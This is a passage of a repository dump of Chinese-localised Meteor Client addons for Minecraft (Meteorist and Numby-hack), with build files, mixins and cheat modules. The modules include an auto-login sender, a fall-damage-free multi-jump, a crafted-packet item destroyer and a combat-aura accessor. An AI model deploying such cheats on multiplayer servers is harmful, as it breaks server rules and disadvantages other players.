!loginCommand.get().isEmpty() && work) { 54 | work = false; 55 | ChatUtils.sendPlayerMsg(loginCommand.get()); 56 | timer = 0; 57 | } else timer ++; 58 | } 59 | 60 | @EventHandler 61 | private void onGameLeft(GameLeftEvent event) { 62 | work = true; 63 | } 64 | } -------------------------------------------------------------------------------- /Meteorist-1.7/src/main/java/zgoly/meteorist/modules/JumpJump.java: -------------------------------------------------------------------------------- 1 | package zgoly.meteorist.modules; 2 | 3 | import meteordevelopment.meteorclient.events.meteor.KeyEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.settings.IntSetting; 6 | import meteordevelopment.meteorclient.settings.Setting; 7 | import meteordevelopment.meteorclient.settings.SettingGroup; 8 | import meteordevelopment.meteorclient.systems.modules.Module; 9 | import meteordevelopment.meteorclient.utils.misc.input.KeyAction; 10 | import meteordevelopment.orbit.EventHandler; 11 | import zgoly.meteorist.Meteorist; 12 | 13 | public class JumpJump extends Module { 14 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 15 | 16 | private final Setting multiplier = sgGeneral.add(new IntSetting.Builder() 17 | .name("跳跃次数") 18 | .description("跳跃的次数") 19 | .defaultValue(2) 20 | .range(1, 1200) 21 | .sliderRange(1, 10) 22 | .onChanged(a -> onActivate()) 23 | .build() 24 | ); 25 | 26 | private final Setting delay = sgGeneral.add(new IntSetting.Builder() 27 | .name("延迟") 28 | .description("发送命令后的延迟时间,以刻为单位(20刻 = 1秒)") 29 | .defaultValue(3) 30 | .range(1, 1200) 31 | .sliderRange(1, 10) 32 | .build() 33 | ); 34 | 35 | int mult; 36 | int timer; 37 | 38 | public JumpJump() { 39 | super(Meteorist.CATEGORY, "左脚踩右脚", "使用多次跳跃使您跳得比正常更高"); 40 | } 41 | 42 | @Override 43 | public void onActivate() { 44 | timer = 0; 45 | mult = multiplier.get(); 46 | } 47 | 48 | @EventHandler 49 | private void onKey(KeyEvent event) { 50 | if (event.action != KeyAction.Press) return; 51 | if (mc.options.jumpKey.matchesKey(event.key, 0)) mult = 0; 52 | } 53 | 54 | @EventHandler 55 | private void onTick(TickEvent.Post event) { 56 | if (mult < multiplier.get()) { 57 | if (timer >= delay.get()) { 58 | mult ++; 59 | mc.player.fallDistance = 0; 60 | mc.player.jump(); 61 | timer = 0; 62 | } else timer ++; 63 | } 64 | } 65 | } -------------------------------------------------------------------------------- /Meteorist-1.7/src/main/java/zgoly/meteorist/utils/SlotClickSyntaxHighlighting.java: -------------------------------------------------------------------------------- 1 | package zgoly.meteorist.utils; 2 | 3 | import meteordevelopment.meteorclient.gui.renderer.GuiRenderer; 4 | import meteordevelopment.meteorclient.gui.widgets.input.WTextBox; 5 | import meteordevelopment.meteorclient.utils.render.color.Color; 6 | 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | import java.util.regex.Matcher; 10 | import java.util.regex.Pattern; 11 | 12 | public class SlotClickSyntaxHighlighting implements WTextBox.Renderer { 13 | private record Section(String text, Color color) {} 14 | 15 | @Override 16 | public void render(GuiRenderer renderer, double x, double y, String text, Color color) { 17 | List
sections = new ArrayList<>(); 18 | int lastNumber = 0; 19 | boolean wasMinus = false; 20 | 21 | Matcher matcher = Pattern.compile("(-|\\d+|[^\\d-]+)").matcher(text); 22 | 23 | while (matcher.find()) { 24 | String part = matcher.group(); 25 | 26 | if (part.chars().allMatch(Character::isDigit)) { 27 | lastNumber = sections.size(); 28 | sections.add(new Section(part, wasMinus ? Color.CYAN : Color.GREEN)); 29 | wasMinus = false; 30 | } else if (part.contains("-")) { 31 | if (lastNumber < sections.size()) sections.set(lastNumber, new Section(sections.get(lastNumber).text, Color.CYAN)); 32 | sections.add(new Section(part, Color.CYAN)); 33 | wasMinus = true; 34 | } else { 35 | sections.add(new Section(part, Color.GRAY)); 36 | } 37 | } 38 | 39 | for (Section section : sections) { 40 | renderer.text(section.text, x, y, section.color, false); 41 | x += renderer.theme.textWidth(section.text); 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /Meteorist-1.7/src/main/resources/assets/meteorist/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/Meteorist-1.7/src/main/resources/assets/meteorist/icon.png -------------------------------------------------------------------------------- /Meteorist-1.7/src/main/resources/assets/meteorist/textures/icons/gui/arrow_down.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/Meteorist-1.7/src/main/resources/assets/meteorist/textures/icons/gui/arrow_down.png -------------------------------------------------------------------------------- /Meteorist-1.7/src/main/resources/assets/meteorist/textures/icons/gui/arrow_up.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/Meteorist-1.7/src/main/resources/assets/meteorist/textures/icons/gui/arrow_up.png -------------------------------------------------------------------------------- /Meteorist-1.7/src/main/resources/assets/meteorist/textures/icons/gui/copy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/Meteorist-1.7/src/main/resources/assets/meteorist/textures/icons/gui/copy.png -------------------------------------------------------------------------------- /Meteorist-1.7/src/main/resources/fabric.mod.json: -------------------------------------------------------------------------------- 1 | { 2 | "schemaVersion": 1, 3 | "id": "meteorist", 4 | "version": "${version}", 5 | "name": "Meteorist", 6 | "description": "Adds additional functionality to Meteor Client.", 7 | "authors": [ 8 | "Zgoly" 9 | ], 10 | "contact": { 11 | "homepage": "https://github.com/Zgoly/Meteorist", 12 | "sources": "https://github.com/Zgoly/Meteorist" 13 | }, 14 | "icon": "assets/meteorist/icon.png", 15 | "license": "MIT", 16 | "environment": "client", 17 | "entrypoints": { 18 | "meteor": [ 19 | "zgoly.meteorist.Meteorist" 20 | ] 21 | }, 22 | "depends": { 23 | "fabricloader": "*", 24 | "minecraft": "*" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | updates: 3 | 4 | - package-ecosystem: "gradle" 5 | directory: "/" 6 | schedule: 7 | interval: "daily" 8 | commit-message: 9 | prefix: "gradle" 10 | include: "scope" 11 | 12 | - package-ecosystem: "github-actions" 13 | directory: "/" 14 | schedule: 15 | interval: "daily" 16 | commit-message: 17 | prefix: "github-actions" 18 | include: "scope" 19 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/.github/workflows/gradle.yml: -------------------------------------------------------------------------------- 1 | name: Java CI with Gradle 2 | 3 | concurrency: 4 | group: "build-1.20.2" 5 | cancel-in-progress: true 6 | 7 | on: 8 | push: 9 | branches: [ master ] 10 | paths-ignore: 11 | - '*.md' 12 | - '.github/**' 13 | 14 | jobs: 15 | build: 16 | 17 | runs-on: ubuntu-latest 18 | steps: 19 | - uses: actions/checkout@v4.1.1 20 | - name: Set up JDK 17 21 | uses: actions/setup-java@v3.13.0 22 | with: 23 | java-version: 17 24 | distribution: 'zulu' 25 | - name: Grant execute permission for gradlew 26 | run: chmod +x gradlew 27 | - name: Build with Gradle 28 | run: ./gradlew build 29 | - name: Remove *-dev.jar 30 | run: rm ./build/libs/*-dev.jar || true 31 | - uses: "marvinpinto/action-automatic-releases@latest" 32 | with: 33 | repo_token: "${{ secrets.GITHUB_TOKEN }}" 34 | automatic_release_tag: "1.20.2-build-${{ github.run_number }}" 35 | prerelease: false 36 | title: "1.20.2 Build ${{ github.run_number }}" 37 | files: | 38 | ./build/libs/*.jar -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/.github/workflows/pull_request.yml: -------------------------------------------------------------------------------- 1 | # This workflow will build a Java project with Gradle 2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/building-and-testing-java-with-gradle 3 | 4 | name: Java CI with Gradle 5 | 6 | on: [pull_request] 7 | 8 | jobs: 9 | build: 10 | 11 | runs-on: ubuntu-latest 12 | steps: 13 | - uses: actions/checkout@v4.1.1 14 | - name: Set up JDK 17 15 | uses: actions/setup-java@v3.13.0 16 | with: 17 | java-version: 17 18 | distribution: 'zulu' 19 | - name: Grant execute permission for gradlew 20 | run: chmod +x gradlew 21 | - name: Build with Gradle 22 | run: ./gradlew build 23 | - name: Upload Artifact 24 | uses: actions/upload-artifact@v3.1.3 25 | with: 26 | name: pull-request-build 27 | path: build/libs/ 28 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/.gitignore: -------------------------------------------------------------------------------- 1 | # gradle 2 | 3 | .gradle/ 4 | build/ 5 | out/ 6 | classes/ 7 | 8 | # eclipse 9 | 10 | *.launch 11 | 12 | # idea 13 | 14 | .idea/ 15 | *.iml 16 | *.ipr 17 | *.iws 18 | 19 | # vscode 20 | 21 | .settings/ 22 | .vscode/ 23 | bin/ 24 | .classpath 25 | .project 26 | 27 | # macos 28 | 29 | *.DS_Store 30 | 31 | # fabric 32 | 33 | run/ 34 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'fabric-loom' version '0.12-SNAPSHOT' 3 | } 4 | 5 | sourceCompatibility = targetCompatibility = JavaVersion.VERSION_17 6 | 7 | archivesBaseName = project.archives_base_name 8 | version = project.mod_version 9 | group = project.maven_group 10 | 11 | repositories { 12 | //mavenCentral() 13 | //mavenLocal() 14 | maven { url "https://maven.meteordev.org/releases"} 15 | maven { url "https://maven.meteordev.org/snapshots" } 16 | //maven { url 'https://jitpack.io' } 17 | } 18 | 19 | configurations { 20 | // configuration that holds jars to include in the jar 21 | //extraLibs 22 | } 23 | 24 | dependencies { 25 | // To change the versions see the gradle.properties file 26 | minecraft "com.mojang:minecraft:${project.minecraft_version}" 27 | mappings "net.fabricmc:yarn:${project.yarn_mappings}:v2" 28 | modImplementation "net.fabricmc:fabric-loader:${project.loader_version}" 29 | 30 | modImplementation("meteordevelopment:meteor-client:${project.meteor_version}-SNAPSHOT") 31 | } 32 | 33 | processResources { 34 | inputs.property "version", project.version 35 | 36 | 37 | filesMatching("fabric.mod.json") { 38 | expand "version": project.version, 39 | "mc_version": project.minecraft_version, 40 | "gh_hash": (System.getenv("GITHUB_SHA") ?: "") 41 | } 42 | } 43 | 44 | jar { 45 | from("LICENSE") { 46 | rename { "${it}_${project.archivesBaseName}"} 47 | } 48 | } 49 | tasks.withType(Jar) { 50 | duplicatesStrategy = DuplicatesStrategy.EXCLUDE 51 | } 52 | 53 | tasks.withType(JavaCompile).configureEach { 54 | it.options.encoding = "UTF-8" 55 | 56 | def targetVersion = 17 57 | if (JavaVersion.current().isJava9Compatible()) { 58 | it.options.release = targetVersion 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/gradle.properties: -------------------------------------------------------------------------------- 1 | # Done to increase the memory available to gradle. 2 | org.gradle.jvmargs=-Xmx2G 3 | 4 | # Fabric Properties 5 | minecraft_version=1.20.2 6 | yarn_mappings=1.20.2+build.4 7 | loader_version=0.14.22 8 | 9 | # Mod Properties 10 | mod_version=2.2 11 | maven_group=cqb13.NumbyHack 12 | archives_base_name=Numby-Hack 13 | 14 | meteor_version=0.5.5 -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/Numby-hack-1.20.2-build-25/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.4.1-bin.zip 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/settings.gradle: -------------------------------------------------------------------------------- 1 | pluginManagement { 2 | repositories { 3 | maven { 4 | name = 'Fabric' 5 | url = 'https://maven.fabricmc.net/' 6 | } 7 | gradlePluginPortal() 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/events/CustomPayloadEvent.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.events; 2 | 3 | import meteordevelopment.meteorclient.events.Cancellable; 4 | import net.minecraft.network.packet.s2c.common.CustomPayloadS2CPacket; 5 | public class CustomPayloadEvent extends Cancellable { 6 | private static final CustomPayloadEvent INSTANCE = new CustomPayloadEvent(); 7 | 8 | public CustomPayloadS2CPacket packet; 9 | 10 | public static CustomPayloadEvent get(CustomPayloadS2CPacket packet) { 11 | INSTANCE.setCancelled(false); 12 | INSTANCE.packet = packet; 13 | return INSTANCE; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/events/PushOutOfBlockEvent.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.events; 2 | 3 | import meteordevelopment.meteorclient.events.Cancellable; 4 | 5 | public class PushOutOfBlockEvent extends Cancellable { 6 | private static final PushOutOfBlockEvent INSTANCE = new PushOutOfBlockEvent(); 7 | 8 | public double x; 9 | public double d; 10 | 11 | public static PushOutOfBlockEvent get(double x, double d) { 12 | INSTANCE.setCancelled(false); 13 | INSTANCE.x = x; 14 | INSTANCE.d = d; 15 | return INSTANCE; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/events/SendRawMessageEvent.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.events; 2 | 3 | import meteordevelopment.meteorclient.events.Cancellable; 4 | 5 | public class SendRawMessageEvent extends Cancellable { 6 | private static final SendRawMessageEvent INSTANCE = new SendRawMessageEvent(); 7 | 8 | public String message; 9 | 10 | public static SendRawMessageEvent get(String message) { 11 | INSTANCE.setCancelled(false); 12 | INSTANCE.message = message; 13 | return INSTANCE; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/events/Teleport.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.events; 2 | 3 | public class Teleport { 4 | private static final Teleport INSTANCE = new Teleport(); 5 | 6 | public double x, y, z; 7 | 8 | public static Teleport get(double x, double y, double z) { 9 | INSTANCE.x = x; 10 | INSTANCE.y = y; 11 | INSTANCE.z = z; 12 | return INSTANCE; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/mixins/ClientPlayerEntityMixin.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.mixins; 2 | 3 | import cqb13.NumbyHack.events.PushOutOfBlockEvent; 4 | import meteordevelopment.meteorclient.MeteorClient; 5 | import net.minecraft.client.network.ClientPlayerEntity; 6 | import org.spongepowered.asm.mixin.Mixin; 7 | import org.spongepowered.asm.mixin.injection.At; 8 | import org.spongepowered.asm.mixin.injection.Inject; 9 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 10 | 11 | @Mixin(ClientPlayerEntity.class) 12 | public class ClientPlayerEntityMixin { 13 | @Inject(method = "pushOutOfBlocks", at = @At("HEAD"), cancellable = true) 14 | private void onPushOutOfBlocks(double x, double d, CallbackInfo info) { 15 | PushOutOfBlockEvent event = PushOutOfBlockEvent.get(x, d); 16 | MeteorClient.EVENT_BUS.post(event); 17 | if(event.isCancelled()) info.cancel(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/mixins/CustomPayloadS2CPacketMixin.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.mixins; 2 | 3 | import cqb13.NumbyHack.events.CustomPayloadEvent; 4 | import meteordevelopment.meteorclient.MeteorClient; 5 | import net.minecraft.network.listener.ClientCommonPacketListener; 6 | import net.minecraft.network.packet.s2c.common.CustomPayloadS2CPacket; 7 | import org.spongepowered.asm.mixin.Mixin; 8 | import org.spongepowered.asm.mixin.injection.At; 9 | import org.spongepowered.asm.mixin.injection.Inject; 10 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 11 | 12 | @Mixin(CustomPayloadS2CPacket.class) 13 | public class CustomPayloadS2CPacketMixin { 14 | @Inject(method = "apply(Lnet/minecraft/network/listener/ClientCommonPacketListener;)V", 15 | at = @At(value = "HEAD"), cancellable = true) 16 | private void onApply(ClientCommonPacketListener clientCommonPacketListener, CallbackInfo info) { 17 | CustomPayloadS2CPacket packet = (CustomPayloadS2CPacket) (Object) this; 18 | CustomPayloadEvent event = MeteorClient.EVENT_BUS.post(CustomPayloadEvent.get(packet)); 19 | if (event.isCancelled()) { 20 | info.cancel(); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/mixins/DeathScreenMixin.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.mixins; 2 | 3 | import cqb13.NumbyHack.modules.general.GameSettings; 4 | import meteordevelopment.meteorclient.systems.modules.Modules; 5 | import net.minecraft.client.gui.screen.DeathScreen; 6 | import net.minecraft.text.Text; 7 | import org.spongepowered.asm.mixin.Mixin; 8 | import org.spongepowered.asm.mixin.Shadow; 9 | import org.spongepowered.asm.mixin.injection.At; 10 | import org.spongepowered.asm.mixin.injection.Inject; 11 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 12 | 13 | /* 14 | * inspired by: 15 | * https://github.com/Ecorous/NoMoreScore/blob/main/src/main/java/com/frogastudios/nomorescore/mixin/MixinDeathScreen.java 16 | * */ 17 | @Mixin(DeathScreen.class) 18 | public abstract class DeathScreenMixin { 19 | @Shadow 20 | private Text scoreText; 21 | 22 | @Inject(method = "init", at = @At("TAIL")) 23 | private void removeScore(CallbackInfo ci) { 24 | if (Modules.get().get(GameSettings.class).toggleHideScore()) 25 | scoreText = Text.empty(); 26 | } 27 | 28 | } 29 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/mixins/EntityAccessor.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.mixins; 2 | 3 | import net.minecraft.entity.Entity; 4 | import org.spongepowered.asm.mixin.Mixin; 5 | import org.spongepowered.asm.mixin.gen.Invoker; 6 | 7 | 8 | @Mixin(Entity.class) 9 | public interface EntityAccessor { 10 | @Invoker("setFlag") 11 | void invokeSetFlag(int index, boolean value); 12 | } 13 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/mixins/TotemParticleMixin.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.mixins; 2 | 3 | import cqb13.NumbyHack.modules.general.Confetti; 4 | import meteordevelopment.meteorclient.systems.modules.Modules; 5 | import net.minecraft.client.particle.AnimatedParticle; 6 | import net.minecraft.client.particle.SpriteProvider; 7 | import net.minecraft.client.particle.TotemParticle; 8 | import net.minecraft.client.world.ClientWorld; 9 | import net.minecraft.util.math.Vec3d; 10 | import org.spongepowered.asm.mixin.Mixin; 11 | import org.spongepowered.asm.mixin.injection.At; 12 | import org.spongepowered.asm.mixin.injection.Inject; 13 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 14 | 15 | @Mixin(TotemParticle.class) 16 | public abstract class TotemParticleMixin extends AnimatedParticle { 17 | 18 | protected TotemParticleMixin(ClientWorld world, double x, double y, double z, SpriteProvider spriteProvider, float upwardsAcceleration) { 19 | super(world, x, y, z, spriteProvider, upwardsAcceleration); 20 | } 21 | 22 | @Inject(method = "", at = @At("TAIL")) 23 | private void onConfettiConstructor(ClientWorld world, double x, double y, double z, double velocityX, double velocityY, double velocityZ, SpriteProvider spriteProvider, CallbackInfo ci) { 24 | Confetti confetti = Modules.get().get(Confetti.class); 25 | TotemParticle totemParticle = ((TotemParticle)(Object) this); 26 | if(confetti.isActive()) { 27 | Vec3d colorOne = confetti.getColorOne(); 28 | Vec3d colorTwo = confetti.getColorTwo(); 29 | if (this.random.nextInt(4) == 0) { 30 | totemParticle.setColor((float) colorOne.x, (float) colorOne.y, (float) colorOne.z); 31 | } else { 32 | totemParticle.setColor((float) colorTwo.x, (float) colorTwo.y, (float) colorTwo.z); 33 | } 34 | } 35 | } 36 | 37 | } 38 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/mixins/meteor/CrystalAuraAccessor.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.mixins.meteor; 2 | 3 | import meteordevelopment.meteorclient.systems.modules.combat.CrystalAura; 4 | import net.minecraft.entity.player.PlayerEntity; 5 | import org.spongepowered.asm.mixin.Mixin; 6 | import org.spongepowered.asm.mixin.gen.Accessor; 7 | 8 | @Mixin(CrystalAura.class) 9 | public interface CrystalAuraAccessor { 10 | @Accessor("bestTarget") 11 | PlayerEntity bestTarget(); 12 | 13 | @Accessor(value = "bestTargetDamage", remap = false) 14 | double bestTargetDamage(); 15 | } 16 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/commands/ClearChat.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.commands; 2 | 3 | import com.mojang.brigadier.builder.LiteralArgumentBuilder; 4 | import meteordevelopment.meteorclient.commands.Command; 5 | import net.minecraft.command.CommandSource; 6 | 7 | import static com.mojang.brigadier.Command.SINGLE_SUCCESS; 8 | import static meteordevelopment.meteorclient.MeteorClient.mc; 9 | 10 | public class ClearChat extends Command { 11 | public ClearChat() { 12 | super("clear-chat", "Clears your chat.", "clear", "cls"); 13 | } 14 | 15 | @Override 16 | public void build(LiteralArgumentBuilder builder) { 17 | builder.executes(context -> { 18 | mc.inGameHud.getChatHud().clear(false); 19 | return SINGLE_SUCCESS; 20 | }); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/commands/HeadItem.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.commands; 2 | 3 | import cqb13.NumbyHack.utils.CHMainUtils; 4 | import com.mojang.brigadier.builder.LiteralArgumentBuilder; 5 | import meteordevelopment.meteorclient.commands.Command; 6 | import net.minecraft.screen.slot.SlotActionType; 7 | 8 | import static meteordevelopment.meteorclient.MeteorClient.mc; 9 | 10 | public class HeadItem extends Command { 11 | public HeadItem() { 12 | super("head-item", "Allows you to put any item in your head slot.", "head"); 13 | } 14 | 15 | public void build(LiteralArgumentBuilder builder) { 16 | builder.executes((context) -> { 17 | CHMainUtils.clickSlotPacket(mc.player.getInventory().selectedSlot + 36, 39, SlotActionType.SWAP); 18 | return 1; 19 | }); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/commands/Trash.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.commands; 2 | 3 | import com.google.common.collect.Lists; 4 | import com.mojang.brigadier.builder.LiteralArgumentBuilder; 5 | import it.unimi.dsi.fastutil.ints.Int2ObjectMap; 6 | import it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap; 7 | import meteordevelopment.meteorclient.commands.Command; 8 | import net.minecraft.command.CommandSource; 9 | import net.minecraft.item.ItemStack; 10 | import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket; 11 | import net.minecraft.screen.ScreenHandler; 12 | import net.minecraft.screen.slot.Slot; 13 | import net.minecraft.screen.slot.SlotActionType; 14 | import net.minecraft.util.collection.DefaultedList; 15 | 16 | import java.util.List; 17 | 18 | import static com.mojang.brigadier.Command.SINGLE_SUCCESS; 19 | import static meteordevelopment.meteorclient.MeteorClient.mc; 20 | 21 | public class Trash extends Command { 22 | public Trash() { 23 | super("trashcan", "Allows your to silently destroy any item in your hand.", "trash"); 24 | } 25 | 26 | @Override 27 | public void build(LiteralArgumentBuilder builder) { 28 | builder.executes(context -> { 29 | int id = 36 + mc.player.getInventory().selectedSlot; 30 | int button = 50; 31 | 32 | ScreenHandler handler = mc.player.currentScreenHandler; 33 | 34 | DefaultedList slots = handler.slots; 35 | int i = slots.size(); 36 | List list = Lists.newArrayListWithCapacity(i); 37 | 38 | for (Slot slot : slots) list.add(slot.getStack().copy()); 39 | 40 | handler.onSlotClick(id, 50, SlotActionType.SWAP, mc.player); 41 | Int2ObjectMap stacks = new Int2ObjectOpenHashMap(); 42 | 43 | for (int slot = 0; slot < i; slot++) { 44 | ItemStack stack1 = list.get(slot); 45 | ItemStack stack2 = slots.get(slot).getStack(); 46 | 47 | if (!ItemStack.areEqual(stack1, stack2)) stacks.put(slot, stack2.copy()); 48 | } 49 | 50 | mc.getNetworkHandler().sendPacket(new ClickSlotC2SPacket(0, handler.getRevision(), id, button, SlotActionType.SWAP, handler.getCursorStack().copy(), stacks)); 51 | 52 | return SINGLE_SUCCESS; 53 | }); 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/general/Confetti.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.general; 2 | 3 | import meteordevelopment.meteorclient.systems.modules.Module; 4 | import meteordevelopment.meteorclient.settings.ColorSetting; 5 | import meteordevelopment.meteorclient.settings.Setting; 6 | import meteordevelopment.meteorclient.settings.SettingGroup; 7 | import meteordevelopment.meteorclient.utils.render.color.SettingColor; 8 | import net.minecraft.util.math.Vec3d; 9 | import cqb13.NumbyHack.NumbyHack; 10 | 11 | /** 12 | * from Tanuki 13 | */ 14 | public class Confetti extends Module { 15 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 16 | 17 | private final Setting colorOne = sgGeneral.add(new ColorSetting.Builder() 18 | .name("颜色1") 19 | .description("要更改的第一种彩带颜色") 20 | .defaultValue(new SettingColor(73, 107, 190, 255)) 21 | .build() 22 | ); 23 | 24 | private final Setting colorTwo = sgGeneral.add(new ColorSetting.Builder() 25 | .name("颜色2") 26 | .description("要更改的第二种彩带颜色") 27 | .defaultValue(new SettingColor(73, 107, 190, 255)) 28 | .build() 29 | ); 30 | 31 | public Confetti() { 32 | super(NumbyHack.CATEGORY, "图腾粒子", "更改不死图腾弹出粒子的颜色"); 33 | } 34 | 35 | public Vec3d getColorOne() { 36 | return getDoubleVectorColor(colorOne); 37 | } 38 | 39 | public Vec3d getColorTwo() { 40 | return getDoubleVectorColor(colorTwo); 41 | } 42 | 43 | public Vec3d getDoubleVectorColor(Setting colorSetting) { 44 | return new Vec3d((double) colorSetting.get().r / 255, (double) colorSetting.get().g / 255, (double) colorSetting.get().b / 255); 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/general/FloRida.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.general; 2 | 3 | import cqb13.NumbyHack.NumbyHack; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.settings.DoubleSetting; 6 | import meteordevelopment.meteorclient.settings.Setting; 7 | import meteordevelopment.meteorclient.settings.SettingGroup; 8 | import meteordevelopment.meteorclient.systems.modules.Modules; 9 | import meteordevelopment.meteorclient.systems.modules.combat.Quiver; 10 | import meteordevelopment.meteorclient.systems.modules.player.EXPThrower; 11 | import meteordevelopment.meteorclient.utils.player.Rotations; 12 | import meteordevelopment.meteorclient.systems.modules.Module; 13 | import meteordevelopment.orbit.EventHandler; 14 | 15 | //From venomhack 16 | 17 | public class FloRida extends Module { 18 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 19 | 20 | private final Setting speed = sgGeneral.add(new DoubleSetting.Builder() 21 | .name("旋转速度") 22 | .description("选择旋转的速度") 23 | .defaultValue(20) 24 | .sliderMin(0.0) 25 | .sliderMax(50.0) 26 | .build() 27 | ); 28 | 29 | private int count = 0; 30 | public FloRida() {super(NumbyHack.CATEGORY, "佛罗里达 (Flo Rida)(没用)", "让你快速旋转");} 31 | 32 | @EventHandler 33 | public void onTick(TickEvent.Post event) { 34 | Modules modules = Modules.get(); 35 | if (!modules.isActive(EXPThrower.class) && !modules.isActive(Quiver.class) && !modules.isActive(EXPThrower.class)) { 36 | count += speed.get(); 37 | if (count > 180) { 38 | count -= 360; 39 | } 40 | 41 | Rotations.rotate(count, 0.0); 42 | } 43 | } 44 | } 45 | 46 | -------------------------------------------------------------------------------- /Numby-hack-1.20.2-build-25/src/main/java/cqb13/NumbyHack/modules/general/GodBridge.java: -------------------------------------------------------------------------------- 1 | package cqb13.NumbyHack.modules.general; 2 | 3 | import cqb13.NumbyHack.NumbyHack; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.settings.*; 6 | import meteordevelopment.meteorclient.systems.modules.Module; 7 | import meteordevelopment.orbit.EventHandler; 8 | import net.minecraft.util.Hand; 9 | import net.minecraft.util.hit.BlockHitResult; 10 | import net.minecraft.util.hit.HitResult; 11 | import net.minecraft.util.math.Direction; 12 | 13 | import java.util.Arrays; 14 | 15 | public class GodBridge extends Module { 16 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 17 | 18 | final Direction[] allowedSides = new Direction[] { Direction.NORTH, Direction.EAST, Direction.SOUTH, Direction.WEST }; 19 | 20 